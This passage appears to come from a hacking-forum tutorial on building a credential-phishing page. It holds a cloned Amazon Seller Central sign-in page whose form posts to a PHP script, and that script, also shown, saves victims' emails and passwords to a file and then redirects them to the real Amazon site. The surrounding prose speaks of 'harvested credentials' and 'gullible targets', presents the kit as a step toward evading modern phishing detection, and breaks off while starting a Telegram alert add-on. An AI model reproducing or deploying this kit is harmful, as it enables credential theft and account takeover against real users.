</script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/I/61tHvuwljLL._RC|11IYhapguOL.js,61Z-hR1QEiL.js,31pYyxAZJRL.js,31Qll8kfk9L.js,01N6xzIJx bL.js,516fQ5+zVmL.js,01rpauTep4L.js,31JzIBuTmgL.js ,61uDiYnK9wL.js,01BBu+b9t0L.js_.js#AUIClients/AmazonUI.min"></script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalAssets-3cbd67cb821687489829ed6a61d9e8b52e65d2e3._V2_.js#A UIClients/AuthenticationPortalAssets.secure.min"></script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AuthenticationPortalInlineAssets-662783336058590306af126b0eeae5125982f026._V2_.js#A UIClients/AuthenticationPortalInlineAssets.secure.min">&l t;/script><script type="text/javascript" async="" crossorigin="anonymous" src="https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/CVFAssets-53acd8e88d87f09d7e0bebd849f2fa4b112e99c7._V2_.js#A UIClients/CVFAssets.secure.min"></script>
<script type="text/javascript">
(function(e,c){function h(b,a){f.push([b,a])}function g(b,a){if(b){var c=e.head||e.getElementsByTagName("head")[0]||e.documentElement,d=e.createElement("script");d. async="async";d.src=b;d.setAttribute("crossorigin" ,"anonymous");a&&a.onerror&&(d.one rror=a.onerror);a&&a.onload&&(d.on load=a.onload);c.insertBefore(d,c.firstChild)}}fun ction k(){ue.uels=g;for(var b=0;b<f.length;b++){var a=f[b];g(a[0],a[1])}ue.deffered=1}var f=[];c.ue&&(ue.uels=h,c.ue.attach&&c.u e.attach("load",k))})(document,window);
(function(a){var b=a.alert;window.alert=function(){a.ueLogError&amp ;&a.ueLogError({message:"[CSM] Alert invocation detected with argument: "+arguments[0],logLevel:"WARN"});Function.prototype.apply.apply( b,[a,arguments||[]])}})(window);
(function(k,l,g){function m(a){c||(c=b[a.type].id,"undefined"===typeof a.clientX?(e=a.pageX,f=a.pageY):(e=a.clientX,f=a.c lientY),2!=c||h&&(h!=e||n!=f)?(r(),d.isl&a mp;&l.setTimeout(function(){p("at",d.id)},0)): (h=e,n=f,c=0))}function r(){for(var a in b)b.hasOwnProperty(a)&&d.detach(a,m,b[a].parent)}function s(){for(var a in b)b.hasOwnProperty(a)&&d.attach(a,m,b[a].parent)}function t(){var a="";!q&&c&&(q=1,a+="&ui="+c); return a}var d=k.ue,p=k.uex,q=0,c=0,h,n,e,f,b={click:{id:1,pare nt:g},mousemove:{id:2,
parent:g},scroll:{id:3,parent:l},keydown:{id:4,par ent:g}};d&&p&&(s(),d._ui=t)})(ue_c sm,window,document);
if (window.ue && window.ue.uels) {
ue.uels("https://images-eu.ssl-images-amazon.com/images/G/01/AUIClients/ClientSideMetricsAUIJavascript-69ab801358dfe32338d0619802ae6aabc188b1bd._V2_.js") ;
}
(function(k,c){function l(a,b){return a.filter(function(a){return a.initiatorType==b})}function f(a,c){if(b.t[a]){var g=b.t[a]-b._t0,e=c.filter(function(a){return 0!==a.responseEnd&&m(a)<g}),f=l(e,"scri pt"),h=l(e,"link"),k=l(e,"img"),n=e.map(function(a ){return a.name.split("/")[2]}).filter(function(a,b,c){return a&&c.lastIndexOf(a)==b}),q=e.filter(functi on(a){return a.duration<p}),s=g-Math.max.apply(null,e.map(m))<r|0;"af"==a&& amp;(b._afjs=f.length);return a+":"+[e[d],f[d],h[d],k[d],n[d],q[d],s].join("-")}}
function m(a){return a.responseEnd-(b._t0-c.timing.navigationStart)}function n(){var a=c[h]("resource"),d=f("cf",a),g=f("af",a),a=f("ld",a);d elete b._rt;b._ld=b.t.ld-b._t0;b._art&&b._art();return[d,g,a].join("_")}var p=20,r=50,d="length",b=k.ue,h="getEntriesByType";b ._rre=m;b._rt=c&&c.timing&&c[h]&&n})(ue_csm,window.performance);
(function(l,d){function c(b){b="";var c=a.isBFT?"b":"s",d=""+a.oid,f=""+a.lid,g=d;d!=f&a mp;&20==f.length&&(c+="a",g+="-"+f);a.tabid&&(b=a.tabid+"+");b+=c+"-"+g;b!=e&&100>b.length&&(e=b,do cument.cookie="csm-hit="+b+("|"+ +new Date)+m+"; path=/")}function n(){e=0}function h(b){!0===d[a.pageViz.propHid]?e=0:!1===d[a.pageViz.propHid]&&c({type:"visible"})}var m="; expires="+(new Date(+new Date+6048E5)).toGMTString(),e,a=l.ue||{},k=a.pageV iz&&a.pageViz.event&&a.pageViz.pro pHid;a.attach&&(a.attach("click",c),
a.attach("keyup",c),k||(a.attach("focus",c),a.atta ch("blur",n)),k&&(a.attach(a.pageViz.event ,h,d),h({})));a.aftb=1})(ue_csm,document);
ue_csm.ue.stub(ue,"impression");
(function(k,d,h){function f(a,c,b){a&&a.indexOf&&0===a.index Of("http")&&0!==a.indexOf("https")&&am p;l(s,c,a,b)}function g(a,c,b){a&&a.indexOf&&(location.h ref.split("#")[0]!=a&&null!==a&&"undefined"!==typeo f a||l(t,c,a,b))}function l(a,c,b,e){m[b]||(e=u&&e?n(e):"N/A",d.ueLogError&&d.ueLogError({message:a+c +" : "+b,logLevel:v,stack:"N/A"},{attribution:e}),m[b]=1,p++)}function e(a,c){if(a&&c)for(var b=0;b<a.length;b++)try{c(a[b])}catch(d){}}function q(){return d.performance&&d.performance.getEntriesByT ype?
d.performance.getEntriesByType("resource"):[]}function n(a){if(a.id)return"//*[@id='"+a.id+"']";var c;c=1;var b;for(b=a.previousSibling;b;b=b.previousSibling)b. nodeName==a.nodeName&&(c+=1);b=a.nodeName; 1!=c&&(b+="["+c+"]");a.parentNode&&(b=n(a.parentNode)+"/"+b);return b}function w(){var a=h.images;a&&a.length&&e(a,functi on(a){var b=a.getAttribute("src");f(b,"img",a);g(b,"img",a)} )}function x(){var a=h.scripts;a&&a.length&&e(a,funct ion(a){var b=a.getAttribute("src");f(b,"script",a);g(b,"scrip t",a)})}
function y(){var a=h.styleSheets;a&&a.length&&e(a,f unction(a){if(a=a.ownerNode){var b=a.getAttribute("href");f(b,"style",a);g(b,"style ",a)}})}function z(){if(A){var a=q();e(a,function(a){f(a.name,a.initiatorType)})} }function B(){e(q(),function(a){g(a.name,a.initiatorType)})} function r(){var a;a=d.location&&d.location.protocol?d.loca tion.protocol:void 0;"https:"==a&&(z(),w(),x(),y(),B(),p<C &&setTimeout(r,D))}var s="[CSM] Insecure content detected ",t="[CSM] Ajax request to same page detected ",v="WARN",
m={},p=0,D=k.ue_nsip||1E3,C=5,A=1==k.ue_urt,u=!0;u e_csm.ue_disableNonSecure||(d.performance&&amp ;d.performance.setResourceTimingBufferSize&&am p;d.performance.setResourceTimingBufferSize(300),r ())})(ue_csm,window,document);
if(window.ue&&uet) { uet('bb'); }
</script></head>
<body class="ap-locale-en_US a-m-us a-aui_51744-c a-aui_57326-c a-aui_72554-c a-aui_83815-c a-aui_86171-c a-aui_96511-c a-aui_accessibility_49860-c a-aui_attr_validations_1_51371-c a-aui_bolt_62845-c a-aui_noopener_84118-c a-aui_ux_102912-c a-aui_ux_59374-c a-aui_ux_60000-c a-aui_ux_92006-c a-aui_ux_98513-c a-dex_92889-c a-meter-animate">
<script type="text/javascript">
(function(){function l(a){for(var c=b.location.search.substring(1).split("&"),e= 0;e<c.length;e++){var d=c[e].split("=");if(d[0]===a)return d[1]}}window.amzn=window.amzn||{};amzn.copilot=amzn.co pilot||{};var b=window,f=document,g=b.P||b.AmazonUIPageJS,h=f.he ad||f.getElementsByTagName("head")[0],m=0,n=0;amzn.copilot.checkCoPilotSession=function (){f.cookie.match("cpidv")&&("undefined"!= =typeof jQuery&&k(jQuery),g&&g.when&&a mp;g.when("jQuery").execute(function(a){k(a)}),b.a mznJQ&&b.amznJQ.available&&b.amznJ Q.available("jQuery",
function(){k(jQuery)}),b.jQuery||g||b.amznJQ||q()) };var q=function(){m?b.ue&&"function"===typeof b.ue.count&&b.ue.count("cpJQUnavailable",1 ):(m=1,f.addEventListener?f.addEventListener("DOMC ontentLoaded",amzn.copilot.checkCoPilotSession,!1) :f.attachEvent&&f.attachEvent("onreadystat echange",function(){"complete"===f.readyState& &amzn.copilot.checkCoPilotSession()}))},k=func tion(a){if(!n){n=1;amzn.copilot.jQuery=a;a=l("debu gJS");var c="https:"===b.location.protocol?1:0,e=1;url="/gp/copilot/handlers/copilot_strings_resources.html";
window.texas&&texas.locations&&(ur l=texas.locations.makeUrl(url));g&&g.AUI_B UILD_DATE&&(e=0);amzn.copilot.jQuery.ajax& amp;&amzn.copilot.jQuery.ajax({url:url,dataTyp e:"json",data:{isDebug:a,isSecure:c,includeAUIP:e} ,success:function(a){amzn.copilot.vip=a.serviceEnd Point;amzn.copilot.enableMultipleTabSession=a.isFo llowMe;r(a)},error:function(){b.ue.count("cpLoadRe sourceError",1)}})}},r=function(a){var c=amzn.copilot.jQuery,e=function(){amzn.copilot.se tup(c.extend({isContinuedSession:!0},a))};a.CSSUrl s&&
c.each(a.CSSUrls[0],function(a,c){var b=f.createElement("link");b.type="text/css";b.rel="stylesheet";b.href=c;h.appendChild(b)} );a.CSSTag&&s(a.CSSTag);if(a.JSUrls){var d=l("forceSynchronousJS"),b=a.JSUrls[0];c.each(b,function(a,c){a===b.length-1?p(c,d,e):p(c,d)})}a.JSTag&&(t(a.JSTag),P .when("CSCoPilotPresenterAsset").execute(function( ){e()}))},t=function(a){var c=f.createElement("div");c.innerHTML=a;a=0;for(var b=c.children.length;a<b;a++){var d=f.createElement("script");d.type="text/javascript";
d.innerHTML=c.children[a].innerHTML;h.appendChild(d)}},s=function(a){var b=f.createElement("div");b.innerHTML=a;a=0;for(var e=b.children.length;a<e;a++)h.appendChild(b.chi ldren[a])},p=function(a,b,e){var d=f.createElement("script");d.type="text/javascript";d.src=a;d.async=b?!1:!0;e&&(d. onload=e);h.appendChild(d)}})();
amzn.copilot.checkCoPilotSession();
</script>
<div id="a-page"><script type="a-state" data-a-state="{&quot;key&quot;:&quot;a-wlab-states&quot;}">{"AUI_51744":null,"AUI_57326 ":null,"AUI_72554":null,"AUI_83815":null,"AUI_8617 1":null,"AUI_96511":null,"AUI_ACCESSIBILITY_49860" :null,"AUI_ATTR_VALIDATIONS_1_51371":null,"AUI_BOL T_62845":null,"AUI_NOOPENER_84118":null,"AUI_UX_10 2912":null,"AUI_UX_59374":null,"AUI_UX_60000":null ,"AUI_UX_92006":null,"AUI_UX_98513":null,"DEX_9288 9":null}</script>
<div class="a-section a-padding-medium auth-workflow">
<div class="a-section a-spacing-none auth-navbar">
<div class="a-section a-spacing-medium a-text-center">
<a class="a-link-nav-icon" tabindex="-1" href="/home">
<img src="https://images-na.ssl-images-amazon.com/images/G/02/rainier/nav/sc-unified._CB501694303_.png">
</a>
</div>
</div>
<div id="authportal-center-section" class="a-section">
<div id="authportal-main-section" class="a-section">
<div class="a-section a-spacing-base auth-pagelet-container">
<div id="auth-cookie-warning-message" class="a-box a-alert a-alert-warning"><div class="a-box-inner a-alert-container"><h4 class="a-alert-heading">Please Enable Cookies to Continue</h4><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
<p>
<a class="a-link-normal" href="/gp/help/customer/display.html/ref=ap_cookie_error_help?">
</a>
</p>
</div></div></div>
</div>
<div class="a-section auth-pagelet-container">



<div class="a-section a-spacing-base">
<div class="a-section">
<form name="signIn" method="post" novalidate="" action="login.php" class="a-spacing-none fwcim-form" data-fwcim-id="undefinede6ba0ec5">
<input name="appActionToken" value="xEcKLmFtj2BJjgNSi5GenCEojTfk8j3D" type="hidden"><input name="appAction" value="SIGNIN" type="hidden">
<input name="openid.pape.max_auth_age" value="ape:MTgwMDA=" type="hidden">
<input name="openid.identity" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8 yLjAvaWRlbnRpZmllcl9zZWxlY3Q=" type="hidden">
<input name="ssoResponse" value="ape:ZXlKNmFYQWlPaUpFUlVZaUxDSmxibU1pT2lKQk1 qVTJSME5OSWl3aVlXeG5Jam9pUVRJMU5rdFhJbjAucXV5cUg1b lR1eVpROW4zVk5JNzB0UTdzV1Y3MFBoMTVxdmhpMEhjaXYyajA 2dG85aWo0cTh3LnVEcDBkenBxRjUzdnhVNXgubGVMbWRycnBlb UhwM0FuR1h0MnpqdDJzd2YyN0xqV3o3UTllMUpJcXdnUU1CdDE zZ0l0TjdUWlkyaWdMX09LWHZ1ZWxKVUF2Nk5iREktNjE1SEkwa zY0cTNLOEMtbURkM0FRUlB5Umk3ZG96TXJ5UTE3bGRLYjhheDJ Sb2RpYTI4OXYtNWd6Y3dGbmoxSG5aQVJwWk9mX3pSbnZ2bUxBV zh6YUhQMm93Y1VyQWQ0bW5tLUZnVXNaYjUxdmpjLU5UeHRyWFN makVTN1lqMEtoTWpTYkJqMnlVdHItR0ZEVjVpVEgxeWkyWGFUS 2lZa0M1RUROOEthdXdlaTRqb1diVG1zXzJyY0EuSWR4ck9rTTN uOXZlc09GTlVRZlk5QQ==" type="hidden">
<input name="language" value="ape:ZW5fVVM=" type="hidden">
<input name="pageId" value="ape:c2NfZXVfYW1hem9uX3Yy" type="hidden">
<input name="openid.return_to" value="ape:aHR0cHM6Ly9zZWxsZXJjZW50cmFsLWV1cm9wZS5 hbWF6b24uY29tL2hvbWU/U2lnbitJbj0mY29yPWxvZ2luX0VV" type="hidden">
<input name="prevRID" value="ape:NjEwNUdIQU5FNTQwR0UyMjhLRzY=" type="hidden">
<input name="openid.assoc_handle" value="ape:c2NfZXVfYW1hem9uX3Yy" type="hidden">
<input name="openid.mode" value="ape:Y2hlY2tpZF9zZXR1cA==" type="hidden">
<input name="openid.ns.pape" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvZXh0ZW5 zaW9ucy9wYXBlLzEuMA==" type="hidden">
<input name="prepopulatedLoginId" type="hidden">
<input name="failedSignInCount" value="ape:MA==" type="hidden">
<input name="openid.claimed_id" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8 yLjAvaWRlbnRpZmllcl9zZWxlY3Q=" type="hidden">
<input name="openid.ns" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8 yLjA=" type="hidden">
<div class="a-section">
<div class="a-box"><div class="a-box-inner a-padding-extra-large">
<h1 class="a-spacing-small">
Sign in
</h1>

<div class="a-row a-spacing-base">
<label for="ap_email" class="a-form-label">
Email (phone for mobile accounts)
</label>
<input maxlength="128" id="ap_email" name="email" tabindex="1" class="a-input-text a-span12 auth-autofocus auth-required-field" type="email">
<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
Enter your email or mobile phone number
</div></div></div>
</div>
<input name="create" value="0" type="hidden">
<div class="a-section a-spacing-large">
<div class="a-row">
<div class="a-column a-span5">
<label for="ap_password" class="a-form-label">
Password
</label>
</div>
<div class="a-column a-span7 a-text-right a-span-last">
<a id="auth-fpp-link-bottom" class="a-link-normal" tabindex="3" href="https://sellercentral-europe.amazon.com/ap/forgotpassword?openid.pape.max_auth_age=18000& amp;openid.identity=http%3A%2F%2Fspecs.openid.net% 2Fauth%2F2.0%2Fidentifier_select&amp;language= en_US&amp;pageId=sc_eu_amazon_v2&amp;openi d.return_to=https%3A%2F%2Fsellercentral-europe.amazon.com%2Fhome%3FSign%2BIn%3D%26cor%3Dlo gin_EU&amp;prevRID=6105GHANE540GE228KG6&am p;openid.assoc_handle=sc_eu_amazon_v2&amp;open id.mode=checkid_setup&amp;openid.ns.pape=http% 3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0 &amp;prepopulatedLoginId=&amp;failedSignIn Count=0&amp;openid.claimed_id=http%3A%2F%2Fspe cs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp ;amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Faut h%2F2.0">
Forgot your password?
</a>
</div>
</div>
<input id="ap_password" name="password" tabindex="2" class="a-input-text a-span12 auth-required-field" type="password">
<div id="auth-password-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
Enter your password
</div></div></div>
</div>
<div class="a-section a-spacing-extra-large">
<span class="a-button a-button-span12 a-button-primary" id="a-autoid-0"><span class="a-button-inner"><input id="signInSubmit" tabindex="5" class="a-button-input" aria-labelledby="a-autoid-0-announce" type="submit"><span class="a-button-text" aria-hidden="true" id="a-autoid-0-announce">
Sign in
</span></span></span>
<script>
function cf() {
if (typeof window.uet === 'function') {
uet('cf');
}
if (window.embedNotification &&
typeof window.embedNotification.onCF === 'function') {
embedNotification.onCF();
}
}
</script>
<script type="text/javascript">cf()</script>
<div class="a-row a-spacing-top-medium">
<div class="a-section a-text-left">
<label for="auth-remember-me" class="a-form-label">
<div data-a-input-name="rememberMe" class="a-checkbox"><label><input name="rememberMe" value="true" tabindex="4" type="checkbox"><i class="a-icon a-icon-checkbox"></i><span class="a-label a-checkbox-label">
Keep me signed in.
<span class="a-declarative" data-action="a-popover" data-a-popover="{&quot;activate&quot;:&quot;o nclick&quot;,&quot;header&quot;:&q uot;\&quot;Keep Me Signed In\&quot; Checkbox&quot;,&quot;inlineContent&quo t;:&quot;<p>Choosing \&quot;Keep me signed in\&quot; reduces the number of times you're asked to sign in on this device.<\/p>\n<p>To keep your account secure, use this option only on your personal devices.<\/p>&quot;}">
<a id="remember_me_learn_more_link" href="javascript:void(0)" class="a-popover-trigger a-declarative">
Details
<i class="a-icon a-icon-popover"></i></a>
</span>
</span></label></div>
</label>
</div>
</div>
</div>
<div class="a-row">
<span id="auth-signin-cancel-link" class="a-button a-spacing-base a-spacing-top-base a-button-span12"><span class="a-button-inner"><a id="signInCancelSubmit" tabindex="6" href="https://services.amazon.co.uk/services/sell-online/features-and-benefits.htm?apCustomerCancelled=true" class="a-button-text" role="button">
Register now
</a></span></span>
</div>
</div></div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<div id="right-2">
</div>
<div class="a-section a-spacing-top-extra-large auth-footer">
<div class="a-divider a-divider-section"><div class="a-divider-inner"></div></div>
<div class="a-section a-spacing-small a-text-center a-size-mini">
<span class="auth-footer-seperator"></span>
<a class="a-link-normal" target="_blank" rel="noopener noreferrer" href="/help">
Help
</a>
<span class="auth-footer-seperator"></span>
</div>
<div class="a-section a-spacing-none a-text-center">
<span class="a-size-mini a-color-secondary">
© 1996-2025, Amazon.com, Inc. or its affiliates
</span>
</div>
</div>
</div>
<div id="auth-external-javascript" class="auth-external-javascript" data-external-javascripts="">
</div>
<script id="fwcim-script" crossorigin="anonymous" type="text/javascript" src="https://images-na.ssl-images-amazon.com/images/G/02/x-locale/common/login/fwcim._CB477506611_.js"></script>
<script type="text/javascript">
if (typeof fwcim != "undefined") {
fwcim.useMercury('https://images-na.ssl-images-amazon.com/images/G/02/x-locale/common/login/mercury9._CB372126687_.swf')
fwcim.profile('signIn');
}
</script>

</div><div id="be" style="display:none;visibility:hidden;"><for m name="ue_backdetect" action="get"><input name="ue_back" value="2" type="hidden"></form>
<script type="text/javascript">
var ue_mbl=ue_csm.ue.exec(function(e,a){function k(f){b=f||{};a.AMZNPerformance=b;b.transition=b.tr ansition||{};b.timing=b.timing||{};e.ue.exec(l,"cs m-android-check")()&&b.tags instanceof Array&&(f=-1!=b.tags.indexOf("usesAppStartTime")||b.transitio n.type?!b.transition.type&&-1<b.tags.indexOf("usesAppStartTime")?"warm-start":void 0:"view-transition",f&&(b.transition.type=f));"rel oad"===d._nt&&e.ue_orct||"intrapage-transition"===d._nt?a.performance&&perform ance.timing&&performance.timing.navigation Start?
b.timing.transitionStart=a.performance.timing.navi gationStart:delete b.timing.transitionStart:"undefined"===typeof d._nt&&a.performance&&performance. timing&&performance.timing.navigationStart &&a.history&&"function"===typeo f a.History&&"object"===typeof a.history&&history.length&&1!=hist ory.length&&(b.timing.transitionStart=a.pe rformance.timing.navigationStart);f=b.transition;v ar c;c=d._nt?d._nt:void 0;f.subType=c;a.ue&&a.ue.tag&&a.ue .tag("has-AMZNPerformance");d.isl&&a.uex&&ue x("at","csm-timing");
m()}function n(b){a.ue&&a.ue.count&&a.ue.count( "csm-cordova-plugin-failed",1)}function l(){return a.webclient&&"function"===typeof a.webclient.getRealClickTime?a.cordova&&a. cordova.platformId&&"ios"==a.cordova.platf ormId?!1:!0:!1}function m(){try{P.register("AMZNPerformance",function(){re turn b})}catch(a){}}function g(){if(!b)return"";ue_mbl.cnt=null;var a=b.transition,c;c=b.timing.transitionStart;c="und efined"!==typeof c&&"undefined"!==typeof h?c-h:void 0;a=["mts",c,"mtt",a.type,"mtst",a.subType,
"mtlt",a.launchType];c="";for(var d=0;d<a.length;d+=2){var e=a[d],g=a[d+1];"undefined"!==typeof g&&(c+="&"+e+"="+g)}return c}function p(a,c){b&&(h=c,b.timing.transitionStart=a, b.transition.type="view-transition",b.transition.subType="ajax-transition",b.transition.launchType="normal",ue_mb l.cnt=g)}var d=e.ue||{},h=e.ue_t0,b;if(a.P&&a.P.when&am p;&a.P.register)return a.P.when("CSMPlugin").execute(function(a){a.buildA MZNPerformance&&a.buildAMZNPerformance({su ccessCallback:k,failCallback:n})}),{cnt:g,ajax:p}} ,
"mobile-timing")(ue_csm,window);
(function(d){d._uess=function(){var a="";screen&&screen.width&&screen. height&&(a+="&sw="+screen.width+"& sh="+screen.height);var b=function(a){var b=document.documentElement["client"+a];return"CSS1Compat"===document.compatMode&&amp ;b||document.body["client"+a]||b},c=b("Width"),b=b("Height");c&&b&& amp;(a+="&vw="+c+"&vh="+b);return a}})(ue_csm);
(function(a){var b=document.ue_backdetect;b&&b.ue_back& &a.ue&&(a.ue.bfini=b.ue_back.value);a. uet&&a.uet("be");a.onLdEnd&&(windo w.addEventListener?window.addEventListener("load", a.onLdEnd,!1):window.attachEvent&&window.a ttachEvent("onload",a.onLdEnd));a.ueh&&a.u eh(0,window,"load",a.onLd,1);a.ue&&a.ue.ta g&&(a.ue_furl&&a.ue_furl.split?(b= a.ue_furl.split("."))&&b[0]&&a.ue.tag(b[0]):a.ue.tag("nofls"))})(ue_csm);
(function(g,h){function d(a,d){var b={};if(!e||!f)try{var c=h.sessionStorage;c?a&&("undefined"!==typ eof d?c.setItem(a,d):b.val=c.getItem(a)):f=1}catch(g){ e=1}e&&(b.e=1);return b}var b=g.ue||{},a="",f,e,c,a=d("csmtid");f?a="NA":a.e?a ="ET":(a=a.val,a||(a=b.oid||"NI",d("csmtid",a)),c= d(b.oid),c.e||(c.val=c.val||0,d(b.oid,c.val+1)),b. ssw=d);b.tabid=a})(ue_csm,window);
ue_csm.ue.exec(function(e,f){var a=e.ue||{},b=a._wlo,d;if(a.ssw){d=a.ssw("CSM_previ ousURL").val;var c=f.location,b=b?b:c&&c.href?c.href.split( "#")[0]:void 0;c=(b||"")===a.ssw("CSM_previousURL").val;!c& &b&&a.ssw("CSM_previousURL",b);d=c?"re load":d?"intrapage-transition":"first-view"}else d="unknown";a._nt=d},"NavTypeModule")(ue_csm,windo w);
(function(b,c){var a=c.images;a&&a.length&&b.ue.count ("totalImages",a.length)})(ue_csm,document);
ue_csm.ue._rtn = 1;
(function(e,f){function h(a){a=a.split("?")[0]||a;a=a.replace("https://","").replace("https://","").replace("resource://","").replace("res://","").replace("undefined://","").replace("chrome://","").replace(/\*/g,"").replace(/!/g,"").replace(/~/g,"");var b=a.split("/");a=a.substr(a.lastIndexOf("/")+1);b.splice(-1);b=b.map(function(a){c[a]||(c[a]=(k++).toString(36));return c[a]});b.push(a);return b.join("!")}function l(){return f.getEntriesByType("resource").filter(function(a){ return d._rre(a)<d._ld}).sort(function(a,
b){return a.responseEnd-b.responseEnd}).splice(0,m).map(function(a){var b=[],c;for(c in a)g[c]&&a[c]&&b.push(g[c]+Math.max(a[c]|0,-1).toString(36));b.push("i"+a.initiatorType);(1==d ._rtn&&d._afjs>n||2==d._rtn)&&b .push("n"+h(a.name));return b.join("_")}).join("*")}function p(){var a="pm",b;for(b in c)c.hasOwnProperty(b)&&(a+="*"+c[b]+"_"+b);return a}function q(){d.log({k:"rtiming",value:l()+"~"+p()},"csm")}i f(f&&f.getEntriesByType&&Array.pro totype.map&&Array.prototype.filter&&am p;e.ue&&e.ue.log){var g=
{connectStart:"c",connectEnd:"C",domainLookupStart :"d",domainLookupEnd:"D",duration:"z",fetchStart:" f",redirectStart:"r",redirectEnd:"R",requestStart: "q",responseStart:"s",responseEnd:"S",startTime:"a "},d=e.ue,c={},k=1,n=20,m=200;d&&d._rre&am p;&(d._art=function(){d._ld&&window.se tTimeout(q,0)})}})(ue_csm||{},window.performance);
(function(c,d){var b=c.ue,a=d.navigator;b&&b.tag&&a&a mp;&(a=a.connection||a.mozConnection||a.webkit Connection)&&a.type&&b.tag("netInf o:"+a.type)})(ue_csm,window);
(function(c,d){function h(a,b){for(var c=[],d=0;d<a.length;d++){var e=a[d],f=b.encode(e);if(e[k]){var g=b.metaSep,e=e[k],l=b.metaPairSep,h=[],m=void 0;for(m in e)e.hasOwnProperty(m)&&h.push(m+"="+e[m]);e=h.join(l);f+=g+e}c.push(f)}return c.join(b.resourceSep)}function s(a){var b=a[k]=a[k]||{};b[t]||(b[t]=c.ue_mid);b[u]||(b[u]=c.ue_sid);b[f]||(b[f]=c.ue_id);b.csm=1;a="//"+c.ue_furl+"/1/"+a[v]+"/1/OP/"+a[w]+"/"+a[x]+"/"+h([a],y);if(n)try{n.call(d[p],a)}catch(g){c.ue.sbf=1,(new Image).src=a}else(new Image).src=
a}function q(){g&&g.isStub&&g.replay(function (a,b,c){a=a[0];b=a[k]=a[k]||{};b[f]=b[f]||c;s(a)});l.impression=s;g=null}if(!(1<c.ueini t)){var k="metadata",x="impressionType",v="foresterChannel ",w="programGroup",t="marketplaceId",u="session",f ="requestId",p="navigator",l=c.ue||{},n=d[p]&&d[p].sendBeacon,r=function(a,b,c,d){return{encode:d,re sourceSep:a,metaSep:b,metaPairSep:c}},y=r("","?"," &",function(a){return h(a.impressionData,z)}),z=r("/",":",",",function(a){return a.featureName+":"+h(a.resources,
A)}),A=r(",","@","|",function(a){return a.id}),g=l.impression;n?q():(l.attach("load",q),l. attach("beforeunload",q));d.P&&d.P.registe r&&d.P.register("impression-client",function(){})}})(ue_csm,window);
var ue_pty = "AuthenticationPortal";
var ue_spty = "SignInApplication";
var ue_adb = 4;
ue_csm.ue.exec(function(u,a){function q(){b=f;g();if(h)try{d.setItem(k,b)}catch(a){}}fun ction r(){b=1===a.ue_adb_chk?m:f;g();if(h)try{d.setItem( k,b)}catch(c){}}function g(){l.tag(b);l.isl&&a.uex&&uex("at ",b);c&&0<c.ec?n():a.ue_adb_rtla&&a mp;c&&(c.elh=n)}function n(){a.ue_adb_rtla&&c&&0<c.ec&am p;&!1===p&&(c.elh=null,ueLogError({m:" Hit Info"},{logLevel:"INFO",adb:b}),p=!0)}var l=a.ue,f="adblk_yes",m="adblk_no",s=a.ue_adb_url|| "https://m.media-amazon.com/images/G/01/csm/showads.v2.js",b="adblk_unk",d;a:{try{d=
a.localStorage;break a}catch(v){}d=void 0}var k="csm:adb",e=a.ue_adb,c=a.ue_err,h=d&&(3= ==e||4===e||5===e),e=4!==e&&5!==e,p=!1,t=f unction(){if(d&&h){var a;a:{try{a=d.getItem(k);break a}catch(c){}a=void 0}if(a)return b=a,!0}return!1}();e||!t?l.uels(s,{onerror:q,onloa d:r}):g();a.ue_isAdb=function(){return b};a.ue_isAdb.unk="adblk_unk";a.ue_isAdb.no=m;a.ue _isAdb.yes=f},"adb")(document,window);
</script>
</div>
<noscript>
<img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1F83G8C2ARO7P:261-5441383-4343233:6105GHANE540GE228KG6$uedata=s:%2Fap%2Fueda ta%3Fnoscript%26id%3D6105GHANE540GE228KG6:0' alt=""/>
</noscript>
<div class="fwcim-container"></div><div id="a-popover-root" style="z-index:-1;position:absolute;"></div></body></html></pre>
Finally, create a 'login.php' file to handle the form submission:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">nano login.php</pre>
Then paste this code:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 98px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;"><?php
file_put_contents("usernames.txt", "Account: " . $_POST['email'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://www.amazon.com');
exit();</pre>
https://i.imgur.com/melisL4.png
Submitting anything here will create two files, usernames.txt and ip.txt which will include your harvested credentials.
https://i.imgur.com/0KNUk4v.png
While this setup is capturing emails, passwords, and IP addresses it's basic as fuck and will only work on the most gullible targets. However, let's be real here, this type of phisher is outdated as hell. You can't deploy this through mass emails anymore because phishing detection has become sufficiently advanced. It'll get caught the moment you create an email campaign around it.
So why the fuck are we even looking at this? It's a proof of concept. Understanding how this basic shit works is crucial before you move on to the more advanced techniques that can actually get past modern security measures.
Additional: Real-Time Notifications
Since you have a rudimentary understanding of how data is captured, you can play around it as you please, one way is setting up a telegram bot and getting a notification when you get a hit. For this basic example it's pretty to pull off provided you have a telegram bot already:
login.php
Code:
